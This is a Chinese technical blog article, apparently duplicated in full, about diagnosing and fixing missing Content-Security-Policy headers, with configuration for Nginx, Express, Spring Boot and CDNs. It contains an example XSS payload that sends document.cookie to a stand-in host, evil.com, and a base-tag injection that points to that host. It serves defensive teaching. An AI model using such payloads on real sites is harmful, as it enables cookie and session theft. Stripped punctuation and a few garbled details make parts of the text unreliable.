1. 一次真实的安全告警CSP缺失到底意味着什么事情起因很简单我在给一个内部管理后台做上线前巡检随手打开浏览器控制台发现一堆红色报错。其中最显眼的一条是Refused to execute inline script because it violates the following Content Security Policy directive: script-src self再往下翻请求头发现响应里压根没有Content-Security-Policy字段。也就是说这个站点从上到下完全没有设置任何内容安全策略。当时我第一反应不是“修一下就好”而是先想想这背后意味着什么。对于任何一个需要用户登录、处理业务数据的Web应用来说CSP缺失等于把XSS跨站脚本攻击的大门敞开了一半。攻击者一旦找到任何一处可以注入脚本的地方——比如评论框、搜索框、URL参数反射点——就能在你的页面里执行任意JavaScript盗取Cookie、篡改页面内容、劫持用户会话甚至发起钓鱼攻击。这篇文章我就把这个问题的来龙去脉、排查思路、修复方案以及我在实际项目里踩过的坑完整地梳理一遍。内容偏向Web安全和前端工程化实践适合后端同学排查接口响应头、前端同学处理页面报错、运维同学做安全加固时参考。先给结论CSP缺失不是“有没有被攻击”的问题而是“什么时候会被攻击”的问题。它属于被动防御层必须在应用上线前就补上越早越好。2. 理解CSP它到底在保护什么2.1 CSP是什么一句话说清楚Content-Security-Policy中文翻译是“内容安全策略”它是一组HTTP响应头字段由服务器在返回页面资源时下发。浏览器收到这个字段后会按照策略里声明的一系列指令严格限制页面可以加载和执行的资源来源。你可以把它理解成一道“白名单闸门”页面上的脚本、样式、图片、字体、连接、iframe、对象等所有资源都必须来自你明确允许的源否则浏览器直接拒绝加载或执行。举个例子如果你的策略是default-src self那么页面里所有未单独指定的资源都只能从当前站点自己的域名下加载。任何来自第三方域名的脚本哪怕是 www.example.com/cdn.js也会被直接拦截。2.2 没有CSP时XSS攻击为什么这么容易在没有CSP的页面里浏览器对资源加载几乎是“来者不拒”的。攻击者只要找到了一个注入点比如一个没做过滤的搜索框input value用户输入他构造输入scriptfetch(https://evil.com/cookie?cdocument.cookie)/script就能把这个脚本跑到你的页面上。没有CSP时这个脚本可以读取并外传当前站点的Cookie、localStorage、sessionStorage在页面里渲染任意钓鱼表单劫持用户点击、键盘输入发起内部接口请求伪造操作有了CSP之后即便脚本被注入到了DOM里只要它不匹配白名单规则浏览器就直接拒绝执行。这就是CSP的核心价值——它不是防止注入而是在注入发生后阻止攻击扩大化。2.3 CSP的I指令体系至少要认识这6个CSP的配置是通过一组指令完成的每个指令控制一类资源或者一类行为。实际项目里最常用的指令有这么几个指令控制范围示例值default-src未单独指定时的兜底策略selfscript-src脚本来源selfhttps://cdn.example.comstyle-src样式表来源selfunsafe-inlineimg-src图片来源selfdata:connect-srcfetch、XHR、WebSocket等连接目标selfhttps://api.example.comframe-ancestors允许哪些页面嵌套当前页面防点击劫持self还有一个容易被忽略的base-uri它限制页面中的base标签能设置的基准URL。攻击者如果能在页面里注入一个base hrefhttps://evil.com/就能让后续所有的相对路径请求都指向攻击者服务器所以建议显式设置成base-uri self。2.4 为什么说CSP是“纵深防御”里不可或缺的一层很多人觉得“我已经做了输入过滤、输出编码为什么还要CSP”这个想法我理解但不够安全。输入过滤是攻击发生前的第一道防线总有绕过可能——尤其是在复杂的富文本场景、第三方组件拼接、服务端模板渲染这些地方。CSP是浏览器层面的最后一道防线它是客户端原生执行的不依赖你业务代码的每一次判断。打个比方输入过滤就像你出门前的检查清单尽量防止忘了锁门但CSP相当于一把门锁本身——即使你忘了检查门也是锁着的。两者不是二选一而是都要做。3. 为什么你的站点会没有CSP以及如何确认3.1 CSP缺失的常见原因在实际项目里我见过CSP缺失的情况大部分是以下几种原因导致的框架默认没有开启。很多前端框架、开发服务器比如Vite dev server、Webpack dev server、后端模板引擎默认情况下不会主动输出CSP头需要开发者显式配置。部署环节被忽略。开发环境可能配置了但到了Nginx、网关、CDN这一层没有把响应头透传或附加导致线上环境缺失。历史项目带病上线。这类最麻烦项目很老没有安全基线意识从上线第一天起就没有CSP直到安全扫描报告打出来才发现。反向代理覆盖了自定义头。有些网关会重建响应头如果上游节点设置的CSP头没有在代理层保留也会出现“明明配置了但客户端看不到”的诡异情况。3.2 快速自查方法浏览器控制台就够了想确认你的站点到底有没有CSP最快的办法是打开Chrome DevTools切换到Network面板刷新页面点击主文档请求在Headers标签里查看Response Headers。如果你看到content-security-policy字段说明策略存在如果找不到这个字段那就是缺失。另外还有个细节CSP头字段名有两种写法Content-Security-Policy是标准策略头Content-Security-Policy-Report-Only是只报告不拦截的观察模式。很多安全扫描器两个头都会检测至少要确认标准策略头存在才算是真正生效。3.3 命令行检测法适合批量扫描如果站点数量多浏览器一个个看太慢可以用curl直接拉响应头curl -sI https://example.com | grep -i content-security-policy没有输出就说明缺失。注意curl -I发的是HEAD请求有些服务器对HEAD和GET返回的头不完全一样稳妥起见可以加-X GET或者直接curl -s -D - -o /dev/null https://example.com。3.4 用Report-Only模式安全摸底这里要特别提一下Content-Security-Policy-Report-Only。它的作用和标准CSP头完全一样但不会真的拦截任何资源只会在浏览器控制台里报告哪些资源违反了策略并通过你指定的report-uri或report-to发回报告。我在给老项目加CSP时强烈建议先开Report-Only模式至少一两天让真实用户帮你在生产环境里测试一遍。等确认报告里没有误报再把策略头切到真正的拦截模式。这个流程能极大降低上线后页面样式错乱、功能白屏的风险。4. 修复实战从开发环境到生产环境的完整配置4.1 先说原则按最小白名单配置别图省事给一个站点配置CSP最忌讳的就是为了“不报错”而把所有权限全放开比如直接写script-src unsafe-inline unsafe-eval *。这种配置等于把CSP的防护能力直接清零还不如不配。正确的思路是先整理出页面里实际使用的资源来源画一张域名清单再逐类配置对应的指令。如果某个源真的无法避免再在特定指令里单独放开而不是一股脑放到default-src里。4.2 前后端分离项目的典型配置对于一个典型的前后端分离项目前端部署在https://app.example.com后端API在https://api.example.com可能用到了第三方字体和埋点统计我常用的基础配置是这样的Content-Security-Policy: default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; font-src self https://fonts.example.com; connect-src self https://api.example.com; frame-ancestors self; base-uri self; form-action self逐个解释一下default-src self兜底策略没写到的资源类型默认只能从本站获取。script-src self https://cdn.example.com允许本站脚本和一个指定的CDN域名。注意这里没有加unsafe-inline意味着页面上所有内联脚本包括事件处理器、javascript: URL都会被禁用。style-src self unsafe-inline允许内联样式。老实说很多项目里CSS-in-JS、动态样式绑定离不开内联样式所以这个指令经常要放开。img-src self data:允许图片从本站加载也允许data:URI 图片。connect-src self https://api.example.com允许fetch、XHR等请求发送到本站和API域名。frame-ancestors self防止自己的页面被别的网站用iframe嵌套是防点击劫持的关键。base-uri self防止base标签被篡改。form-action self限制表单只能提交到本站。4.3 在Nginx上配置CSP响应头如果你的站点直接由Nginx托管静态文件或者Nginx作为反向代理配置非常简单。在server块里加上add_header Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self; connect-src self; frame-ancestors self; base-uri self; form-action self; always;注意最后一个参数always。Nginx的add_header指令默认只在响应状态码是200、201、204、206、301、302、303、304、307、308时才会附加。加上always后4xx、5xx错误响应也会带上CSP头。这个细节很容易被忽略但对安全检测来说很关键因为攻击面不只存在于正常响应里。改完配置后先测试再重载nginx -t nginx -s reload重载后再次用curl确认curl -sI https://app.example.com | grep -i content-security-policy4.4 在Express/Node.js应用中配置如果应用是Express写的直接在响应中设置头即可。我一般用一个中间件统一加const helmet require(helmet); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: [self], scriptSrc: [self], styleSrc: [self, unsafe-inline], imgSrc: [self, data:], fontSrc: [self], connectSrc: [self], frameAncestors: [self], baseUri: [self], formAction: [self] } }) );如果你不想引入helmet这个重量级依赖也可以手写app.use((req, res, next) { res.setHeader( Content-Security-Policy, default-src self; script-src self; style-src self unsafe-inline; img-src self data:; connect-src self; frame-ancestors self; base-uri self; form-action self; ); next(); });补充一句helmet这个库我用了好几年它不光能设置CSP还能设置X-Content-Type-Options、X-Frame-Options、Strict-Transport-Security等一堆安全响应头属于Node服务加固的标准配置。4.5 在Spring Boot后端里配置Java后端的朋友更常见的是在Spring Boot项目里配置。推荐的做法是实现WebMvcConfigurer添加一个HandlerInterceptor来统一设置响应头Component public class CSPInterceptor implements HandlerInterceptor { Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader(Content-Security-Policy, default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self; connect-src self; frame-ancestors self; base-uri self; form-action self;); return true; } }然后在配置类里注册Configuration public class WebConfig implements WebMvcConfigurer { Autowired private CSPInterceptor cspInterceptor; Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(cspInterceptor).addPathPatterns(/**); } }还有一个更省事的方式直接在Spring Security的配置里开启CSP支持http.headers().contentSecurityPolicy(default-src self);Spring Security从5.x开始就内置了这个支持配起来非常方便。4.6 在纯静态托管/CDN上配置如果你用Nginx、Apache之外的方式托管静态站点比如GitHub Pages、对象存储加CDN那就要在CDN控制台或者静态站点配置里设置自定义响应头。以常见的CDN为例一般在“HTTP响应头”或“回源配置”里添加字段名Content-Security-Policy和对应的值即可。对于对象存储如阿里云OSS、腾讯云COS一般可以在存储桶的“自定义Headers”里设置。注意CDN节点回源到存储桶时可能会覆盖或丢弃源站设置的头所以最终效果一定要在全链路环境下验证。4.7 Report-Only模式怎么落地我还是想再强调一下Report-Only模式。在你真正把CSP头加到生产环境之前先花一两天用Report-Only模式跑一遍能避免至少九成的“上线后页面白屏”事故。具体配置方法就是在Nginx或代码里把Content-Security-Policy换成Content-Security-Policy-Report-Only策略值保持不变。然后你可以加一个上报地址Content-Security-Policy-Report-Only: default-src self; script-src self; report-uri /csp-report; report-to csp-endpointreport-uri是老语法report-to是新语法为了兼容老浏览器两个可以同时写。服务端收到上报后解析JSON报告就能看到具体是哪个页面的哪个资源违规了。5. 配置CSP之后一定会遇到的问题内联脚本和动态加载5.1 内联脚本被拦截怎么办加了CSP之后最常见的报错就是Refused to execute inline script because it violates the following Content Security Policy directive原因很简单你的页面里有很多直接写在HTML里的script标签或者用了onclick...这类事件处理器。CSP的默认策略没有unsafe-inline时会禁止所有内联脚本执行。解决办法有两个方向第一把内联脚本改造成外部JS文件。这是最正规、最安全的做法把页面里的脚本逻辑提取到.js文件里用script src...引入。第二如果实在无法避免内联脚本比如某些模板引擎会动态拼接脚本可以使用哈希或nonce白名单机制。CSP允许你指定某个内联脚本的哈希值或者给脚本标签加一个随机的nonce属性只有匹配的才能执行。nonce方式的示例script noncea1b2c3 console.log(这个脚本可以执行); /script对应的CSP头值里加上nonce-a1b2c3。这里要特别提醒nonce值必须是每次请求随机生成的不能写死否则nonce白名单就失去了意义。而且一旦使用nonce很多浏览器会忽略unsafe-inline即使你同时写了它这是规范为了安全做的处理别觉得奇怪。5.2 动态加载的脚本Eval、Function、setTimeout报错第二条高频报错是Refused to evaluate a string as JavaScript because it violates ... unsafe-eval这是因为页面里用了eval()、new Function()或者类似setTimeout(string)这种把字符串当成代码执行的写法。在老项目里JSON.parse被误用成eval的情况不太多见但很多第三方库确实依赖动态代码执行。解决方案优先改造代码用JSON.parse替代eval用Function构造器替代字符串定时器。如果是第三方库导致的检查是否有沙箱版本或替代库。极其无奈的情况下在script-src指令里加上unsafe-eval。但你必须清楚这意味着代码注入者也可以通过eval执行任意代码安全收益大打折扣。5.3 图片、字体、API请求被拦截这三类问题一般是域名白名单没写全。报错信息里都会明确告诉你“refused to load the image/font/connect”以及请求的URL你只需要把这个URL对应的源域名加到对应指令里即可。值得注意的一个坑是default-src只在没有更具体的指令时才生效。如果你写了default-src self但没写img-src那么图片只能从本站加载一旦你写了img-src data:那本站域名反而会被排除因为img-src覆盖了default-src对图片的约束。所以配置时要么只依赖default-src要么每个指令都写全别混着来导致逻辑混乱。6. 配置CSP时最容易踩的坑我替你踩过了6.1 坑一data:协议忘记加图片全裂很多后台项目的图片是Base64编码的数据存在data:image/png;base64,...这种URI里。CSP策略里没加data:浏览器就会直接拦截所有这类图片。排查的时候控制台一片红但页面看起来不是白屏而是图片位置全部变空白很容易被忽略。解决方案相当简单img-src里加上data:即可。如果你使用SVG的use或url(data:)方式可能还需要在style-src里也放行data:具体看报错信息来定。6.2 坑二WebSocket连接被connect-src拦截这个坑很隐蔽。页面在连接wss://api.example.com时如果connect-src只写了self https://api.example.com有些浏览器会把wss://api.example.com作为一个独立源来处理从而拦截WebSocket连接。解决办法就是把wss://api.example.com也加到connect-src里connect-src self https://api.example.com wss://api.example.com6.3 坑三Nginx的add_header继承问题Nginx里如果同时存在多个add_header指令会有一个容易忽视的继承规则一旦server块、location块中出现了任何一个add_header更高层级的add_header就会被完全覆盖而不是合并。也就是说如果你在http块里定义了CSP响应头而某个location块里又单独为另一个响应头写了add_header那个location里CSP头会失效。这个坑我遇到过不止一次排查到崩溃。解决方法是把CSP头的配置放到能覆盖所有location的层级并且确认同一层级没有其他add_header覆盖了它。最稳妥的方式是每个server块里显式书写别过度依赖继承。6.4 坑四浏览器缓存导致验证失误在配置CSP时你改了服务端配置然后用浏览器验证结果发现还是老样子。这很可能是浏览器缓存了旧的响应头。强烈建议用无痕窗口验证或者在Network面板里勾选Disable cache。用curl验证最可靠因为它不受浏览器缓存影响。6.5 坑五第三方脚本和统计代码项目里一旦嵌入了第三方分析脚本、在线客服脚本、地图SDK这类东西CSP的配置就会变成“打地鼠”游戏。今天加了A域名明天又要加B域名。我的经验是先收集所有第三方脚本的域名清单评估哪些是真正必要的能剪掉就剪掉。必要保留的脚本最好用独立的sit包放在自己的域名下这样CSP策略的变动面会小很多。7. 常见问题快速排查表症状可能原因解决方向页面内联脚本不执行策略不含unsafe-inline且未使用nonce/hash提取外部文件或添加nonce控制台报unsafe-eval违规代码用了eval、Function构造器改用正规语法必要时放行eval图片全裂img-src缺data:在img-src中加data:WebSocket连不上connect-src缺wss://域名加入对应ws/wss域名CDN资源被拦截script-src/style-src没写完整按报错域名逐个补充老项目使用hash/nonce导致每次刷新页面变化服务端未正确生成随机nonce服务端模板动态生成Nginx配置后无效add_header被继承覆盖检查当前楼层是否独立配置了add_header新版Chrome不再支持report-urireport-to未配置或配置格式不对同时配置report-uri和report-to8. 后续还能怎么扩展CSP只是Web安全响应头里的其中一环排查这一个字段的机会顺便检查一下其他几个常见的响应头会更有性价比响应头作用建议值X-Content-Type-Options禁止MIME类型嗅探nosniffX-Frame-Options防点击劫持旧方案SAMEORIGINReferrer-Policy控制Referer信息的传递strict-origin-when-cross-originPermissions-Policy控制摄像头、麦克风等浏览器特性按需禁用Strict-Transport-Security强制HTTPS连接max-age31536000; includeSubDomains我个人习惯是每次做完CSP配置顺手把这几个头一起检查一遍形成一套安全响应头基线。后面接新的项目直接套用这套模板省时省力又能保证底子不会太差。还有一点值得提如果你的项目是一个多人维护的复杂系统建议把CSP的配置写进部署脚本或者基础设施代码里而不是只靠人工到服务器上手动改Nginx。配置做个版本管理后续排查时才能知道改动历史不然时间一久谁改了什么、为什么改全凭记忆就麻烦了。
1. 一次真实的安全告警CSP缺失到底意味着什么事情起因很简单我在给一个内部管理后台做上线前巡检随手打开浏览器控制台发现一堆红色报错。其中最显眼的一条是Refused to execute inline script because it violates the following Content Security Policy directive: script-src self再往下翻请求头发现响应里压根没有Content-Security-Policy字段。也就是说这个站点从上到下完全没有设置任何内容安全策略。当时我第一反应不是“修一下就好”而是先想想这背后意味着什么。对于任何一个需要用户登录、处理业务数据的Web应用来说CSP缺失等于把XSS跨站脚本攻击的大门敞开了一半。攻击者一旦找到任何一处可以注入脚本的地方——比如评论框、搜索框、URL参数反射点——就能在你的页面里执行任意JavaScript盗取Cookie、篡改页面内容、劫持用户会话甚至发起钓鱼攻击。这篇文章我就把这个问题的来龙去脉、排查思路、修复方案以及我在实际项目里踩过的坑完整地梳理一遍。内容偏向Web安全和前端工程化实践适合后端同学排查接口响应头、前端同学处理页面报错、运维同学做安全加固时参考。先给结论CSP缺失不是“有没有被攻击”的问题而是“什么时候会被攻击”的问题。它属于被动防御层必须在应用上线前就补上越早越好。2. 理解CSP它到底在保护什么2.1 CSP是什么一句话说清楚Content-Security-Policy中文翻译是“内容安全策略”它是一组HTTP响应头字段由服务器在返回页面资源时下发。浏览器收到这个字段后会按照策略里声明的一系列指令严格限制页面可以加载和执行的资源来源。你可以把它理解成一道“白名单闸门”页面上的脚本、样式、图片、字体、连接、iframe、对象等所有资源都必须来自你明确允许的源否则浏览器直接拒绝加载或执行。举个例子如果你的策略是default-src self那么页面里所有未单独指定的资源都只能从当前站点自己的域名下加载。任何来自第三方域名的脚本哪怕是 www.example.com/cdn.js也会被直接拦截。2.2 没有CSP时XSS攻击为什么这么容易在没有CSP的页面里浏览器对资源加载几乎是“来者不拒”的。攻击者只要找到了一个注入点比如一个没做过滤的搜索框input value用户输入他构造输入scriptfetch(https://evil.com/cookie?cdocument.cookie)/script就能把这个脚本跑到你的页面上。没有CSP时这个脚本可以读取并外传当前站点的Cookie、localStorage、sessionStorage在页面里渲染任意钓鱼表单劫持用户点击、键盘输入发起内部接口请求伪造操作有了CSP之后即便脚本被注入到了DOM里只要它不匹配白名单规则浏览器就直接拒绝执行。这就是CSP的核心价值——它不是防止注入而是在注入发生后阻止攻击扩大化。2.3 CSP的I指令体系至少要认识这6个CSP的配置是通过一组指令完成的每个指令控制一类资源或者一类行为。实际项目里最常用的指令有这么几个指令控制范围示例值default-src未单独指定时的兜底策略selfscript-src脚本来源selfhttps://cdn.example.comstyle-src样式表来源selfunsafe-inlineimg-src图片来源selfdata:connect-srcfetch、XHR、WebSocket等连接目标selfhttps://api.example.comframe-ancestors允许哪些页面嵌套当前页面防点击劫持self还有一个容易被忽略的base-uri它限制页面中的base标签能设置的基准URL。攻击者如果能在页面里注入一个base hrefhttps://evil.com/就能让后续所有的相对路径请求都指向攻击者服务器所以建议显式设置成base-uri self。2.4 为什么说CSP是“纵深防御”里不可或缺的一层很多人觉得“我已经做了输入过滤、输出编码为什么还要CSP”这个想法我理解但不够安全。输入过滤是攻击发生前的第一道防线总有绕过可能——尤其是在复杂的富文本场景、第三方组件拼接、服务端模板渲染这些地方。CSP是浏览器层面的最后一道防线它是客户端原生执行的不依赖你业务代码的每一次判断。打个比方输入过滤就像你出门前的检查清单尽量防止忘了锁门但CSP相当于一把门锁本身——即使你忘了检查门也是锁着的。两者不是二选一而是都要做。3. 为什么你的站点会没有CSP以及如何确认3.1 CSP缺失的常见原因在实际项目里我见过CSP缺失的情况大部分是以下几种原因导致的框架默认没有开启。很多前端框架、开发服务器比如Vite dev server、Webpack dev server、后端模板引擎默认情况下不会主动输出CSP头需要开发者显式配置。部署环节被忽略。开发环境可能配置了但到了Nginx、网关、CDN这一层没有把响应头透传或附加导致线上环境缺失。历史项目带病上线。这类最麻烦项目很老没有安全基线意识从上线第一天起就没有CSP直到安全扫描报告打出来才发现。反向代理覆盖了自定义头。有些网关会重建响应头如果上游节点设置的CSP头没有在代理层保留也会出现“明明配置了但客户端看不到”的诡异情况。3.2 快速自查方法浏览器控制台就够了想确认你的站点到底有没有CSP最快的办法是打开Chrome DevTools切换到Network面板刷新页面点击主文档请求在Headers标签里查看Response Headers。如果你看到content-security-policy字段说明策略存在如果找不到这个字段那就是缺失。另外还有个细节CSP头字段名有两种写法Content-Security-Policy是标准策略头Content-Security-Policy-Report-Only是只报告不拦截的观察模式。很多安全扫描器两个头都会检测至少要确认标准策略头存在才算是真正生效。3.3 命令行检测法适合批量扫描如果站点数量多浏览器一个个看太慢可以用curl直接拉响应头curl -sI https://example.com | grep -i content-security-policy没有输出就说明缺失。注意curl -I发的是HEAD请求有些服务器对HEAD和GET返回的头不完全一样稳妥起见可以加-X GET或者直接curl -s -D - -o /dev/null https://example.com。3.4 用Report-Only模式安全摸底这里要特别提一下Content-Security-Policy-Report-Only。它的作用和标准CSP头完全一样但不会真的拦截任何资源只会在浏览器控制台里报告哪些资源违反了策略并通过你指定的report-uri或report-to发回报告。我在给老项目加CSP时强烈建议先开Report-Only模式至少一两天让真实用户帮你在生产环境里测试一遍。等确认报告里没有误报再把策略头切到真正的拦截模式。这个流程能极大降低上线后页面样式错乱、功能白屏的风险。4. 修复实战从开发环境到生产环境的完整配置4.1 先说原则按最小白名单配置别图省事给一个站点配置CSP最忌讳的就是为了“不报错”而把所有权限全放开比如直接写script-src unsafe-inline unsafe-eval *。这种配置等于把CSP的防护能力直接清零还不如不配。正确的思路是先整理出页面里实际使用的资源来源画一张域名清单再逐类配置对应的指令。如果某个源真的无法避免再在特定指令里单独放开而不是一股脑放到default-src里。4.2 前后端分离项目的典型配置对于一个典型的前后端分离项目前端部署在https://app.example.com后端API在https://api.example.com可能用到了第三方字体和埋点统计我常用的基础配置是这样的Content-Security-Policy: default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; font-src self https://fonts.example.com; connect-src self https://api.example.com; frame-ancestors self; base-uri self; form-action self逐个解释一下default-src self兜底策略没写到的资源类型默认只能从本站获取。script-src self https://cdn.example.com允许本站脚本和一个指定的CDN域名。注意这里没有加unsafe-inline意味着页面上所有内联脚本包括事件处理器、javascript: URL都会被禁用。style-src self unsafe-inline允许内联样式。老实说很多项目里CSS-in-JS、动态样式绑定离不开内联样式所以这个指令经常要放开。img-src self data:允许图片从本站加载也允许data:URI 图片。connect-src self https://api.example.com允许fetch、XHR等请求发送到本站和API域名。frame-ancestors self防止自己的页面被别的网站用iframe嵌套是防点击劫持的关键。base-uri self防止base标签被篡改。form-action self限制表单只能提交到本站。4.3 在Nginx上配置CSP响应头如果你的站点直接由Nginx托管静态文件或者Nginx作为反向代理配置非常简单。在server块里加上add_header Content-Security-Policy default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self; connect-src self; frame-ancestors self; base-uri self; form-action self; always;注意最后一个参数always。Nginx的add_header指令默认只在响应状态码是200、201、204、206、301、302、303、304、307、308时才会附加。加上always后4xx、5xx错误响应也会带上CSP头。这个细节很容易被忽略但对安全检测来说很关键因为攻击面不只存在于正常响应里。改完配置后先测试再重载nginx -t nginx -s reload重载后再次用curl确认curl -sI https://app.example.com | grep -i content-security-policy4.4 在Express/Node.js应用中配置如果应用是Express写的直接在响应中设置头即可。我一般用一个中间件统一加const helmet require(helmet); app.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: [self], scriptSrc: [self], styleSrc: [self, unsafe-inline], imgSrc: [self, data:], fontSrc: [self], connectSrc: [self], frameAncestors: [self], baseUri: [self], formAction: [self] } }) );如果你不想引入helmet这个重量级依赖也可以手写app.use((req, res, next) { res.setHeader( Content-Security-Policy, default-src self; script-src self; style-src self unsafe-inline; img-src self data:; connect-src self; frame-ancestors self; base-uri self; form-action self; ); next(); });补充一句helmet这个库我用了好几年它不光能设置CSP还能设置X-Content-Type-Options、X-Frame-Options、Strict-Transport-Security等一堆安全响应头属于Node服务加固的标准配置。4.5 在Spring Boot后端里配置Java后端的朋友更常见的是在Spring Boot项目里配置。推荐的做法是实现WebMvcConfigurer添加一个HandlerInterceptor来统一设置响应头Component public class CSPInterceptor implements HandlerInterceptor { Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { response.setHeader(Content-Security-Policy, default-src self; script-src self; style-src self unsafe-inline; img-src self data:; font-src self; connect-src self; frame-ancestors self; base-uri self; form-action self;); return true; } }然后在配置类里注册Configuration public class WebConfig implements WebMvcConfigurer { Autowired private CSPInterceptor cspInterceptor; Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(cspInterceptor).addPathPatterns(/**); } }还有一个更省事的方式直接在Spring Security的配置里开启CSP支持http.headers().contentSecurityPolicy(default-src self);Spring Security从5.x开始就内置了这个支持配起来非常方便。4.6 在纯静态托管/CDN上配置如果你用Nginx、Apache之外的方式托管静态站点比如GitHub Pages、对象存储加CDN那就要在CDN控制台或者静态站点配置里设置自定义响应头。以常见的CDN为例一般在“HTTP响应头”或“回源配置”里添加字段名Content-Security-Policy和对应的值即可。对于对象存储如阿里云OSS、腾讯云COS一般可以在存储桶的“自定义Headers”里设置。注意CDN节点回源到存储桶时可能会覆盖或丢弃源站设置的头所以最终效果一定要在全链路环境下验证。4.7 Report-Only模式怎么落地我还是想再强调一下Report-Only模式。在你真正把CSP头加到生产环境之前先花一两天用Report-Only模式跑一遍能避免至少九成的“上线后页面白屏”事故。具体配置方法就是在Nginx或代码里把Content-Security-Policy换成Content-Security-Policy-Report-Only策略值保持不变。然后你可以加一个上报地址Content-Security-Policy-Report-Only: default-src self; script-src self; report-uri /csp-report; report-to csp-endpointreport-uri是老语法report-to是新语法为了兼容老浏览器两个可以同时写。服务端收到上报后解析JSON报告就能看到具体是哪个页面的哪个资源违规了。5. 配置CSP之后一定会遇到的问题内联脚本和动态加载5.1 内联脚本被拦截怎么办加了CSP之后最常见的报错就是Refused to execute inline script because it violates the following Content Security Policy directive原因很简单你的页面里有很多直接写在HTML里的script标签或者用了onclick...这类事件处理器。CSP的默认策略没有unsafe-inline时会禁止所有内联脚本执行。解决办法有两个方向第一把内联脚本改造成外部JS文件。这是最正规、最安全的做法把页面里的脚本逻辑提取到.js文件里用script src...引入。第二如果实在无法避免内联脚本比如某些模板引擎会动态拼接脚本可以使用哈希或nonce白名单机制。CSP允许你指定某个内联脚本的哈希值或者给脚本标签加一个随机的nonce属性只有匹配的才能执行。nonce方式的示例script noncea1b2c3 console.log(这个脚本可以执行); /script对应的CSP头值里加上nonce-a1b2c3。这里要特别提醒nonce值必须是每次请求随机生成的不能写死否则nonce白名单就失去了意义。而且一旦使用nonce很多浏览器会忽略unsafe-inline即使你同时写了它这是规范为了安全做的处理别觉得奇怪。5.2 动态加载的脚本Eval、Function、setTimeout报错第二条高频报错是Refused to evaluate a string as JavaScript because it violates ... unsafe-eval这是因为页面里用了eval()、new Function()或者类似setTimeout(string)这种把字符串当成代码执行的写法。在老项目里JSON.parse被误用成eval的情况不太多见但很多第三方库确实依赖动态代码执行。解决方案优先改造代码用JSON.parse替代eval用Function构造器替代字符串定时器。如果是第三方库导致的检查是否有沙箱版本或替代库。极其无奈的情况下在script-src指令里加上unsafe-eval。但你必须清楚这意味着代码注入者也可以通过eval执行任意代码安全收益大打折扣。5.3 图片、字体、API请求被拦截这三类问题一般是域名白名单没写全。报错信息里都会明确告诉你“refused to load the image/font/connect”以及请求的URL你只需要把这个URL对应的源域名加到对应指令里即可。值得注意的一个坑是default-src只在没有更具体的指令时才生效。如果你写了default-src self但没写img-src那么图片只能从本站加载一旦你写了img-src data:那本站域名反而会被排除因为img-src覆盖了default-src对图片的约束。所以配置时要么只依赖default-src要么每个指令都写全别混着来导致逻辑混乱。6. 配置CSP时最容易踩的坑我替你踩过了6.1 坑一data:协议忘记加图片全裂很多后台项目的图片是Base64编码的数据存在data:image/png;base64,...这种URI里。CSP策略里没加data:浏览器就会直接拦截所有这类图片。排查的时候控制台一片红但页面看起来不是白屏而是图片位置全部变空白很容易被忽略。解决方案相当简单img-src里加上data:即可。如果你使用SVG的use或url(data:)方式可能还需要在style-src里也放行data:具体看报错信息来定。6.2 坑二WebSocket连接被connect-src拦截这个坑很隐蔽。页面在连接wss://api.example.com时如果connect-src只写了self https://api.example.com有些浏览器会把wss://api.example.com作为一个独立源来处理从而拦截WebSocket连接。解决办法就是把wss://api.example.com也加到connect-src里connect-src self https://api.example.com wss://api.example.com6.3 坑三Nginx的add_header继承问题Nginx里如果同时存在多个add_header指令会有一个容易忽视的继承规则一旦server块、location块中出现了任何一个add_header更高层级的add_header就会被完全覆盖而不是合并。也就是说如果你在http块里定义了CSP响应头而某个location块里又单独为另一个响应头写了add_header那个location里CSP头会失效。这个坑我遇到过不止一次排查到崩溃。解决方法是把CSP头的配置放到能覆盖所有location的层级并且确认同一层级没有其他add_header覆盖了它。最稳妥的方式是每个server块里显式书写别过度依赖继承。6.4 坑四浏览器缓存导致验证失误在配置CSP时你改了服务端配置然后用浏览器验证结果发现还是老样子。这很可能是浏览器缓存了旧的响应头。强烈建议用无痕窗口验证或者在Network面板里勾选Disable cache。用curl验证最可靠因为它不受浏览器缓存影响。6.5 坑五第三方脚本和统计代码项目里一旦嵌入了第三方分析脚本、在线客服脚本、地图SDK这类东西CSP的配置就会变成“打地鼠”游戏。今天加了A域名明天又要加B域名。我的经验是先收集所有第三方脚本的域名清单评估哪些是真正必要的能剪掉就剪掉。必要保留的脚本最好用独立的sit包放在自己的域名下这样CSP策略的变动面会小很多。7. 常见问题快速排查表症状可能原因解决方向页面内联脚本不执行策略不含unsafe-inline且未使用nonce/hash提取外部文件或添加nonce控制台报unsafe-eval违规代码用了eval、Function构造器改用正规语法必要时放行eval图片全裂img-src缺data:在img-src中加data:WebSocket连不上connect-src缺wss://域名加入对应ws/wss域名CDN资源被拦截script-src/style-src没写完整按报错域名逐个补充老项目使用hash/nonce导致每次刷新页面变化服务端未正确生成随机nonce服务端模板动态生成Nginx配置后无效add_header被继承覆盖检查当前楼层是否独立配置了add_header新版Chrome不再支持report-urireport-to未配置或配置格式不对同时配置report-uri和report-to8. 后续还能怎么扩展CSP只是Web安全响应头里的其中一环排查这一个字段的机会顺便检查一下其他几个常见的响应头会更有性价比响应头作用建议值X-Content-Type-Options禁止MIME类型嗅探nosniffX-Frame-Options防点击劫持旧方案SAMEORIGINReferrer-Policy控制Referer信息的传递strict-origin-when-cross-originPermissions-Policy控制摄像头、麦克风等浏览器特性按需禁用Strict-Transport-Security强制HTTPS连接max-age31536000; includeSubDomains我个人习惯是每次做完CSP配置顺手把这几个头一起检查一遍形成一套安全响应头基线。后面接新的项目直接套用这套模板省时省力又能保证底子不会太差。还有一点值得提如果你的项目是一个多人维护的复杂系统建议把CSP的配置写进部署脚本或者基础设施代码里而不是只靠人工到服务器上手动改Nginx。配置做个版本管理后续排查时才能知道改动历史不然时间一久谁改了什么、为什么改全凭记忆就麻烦了。
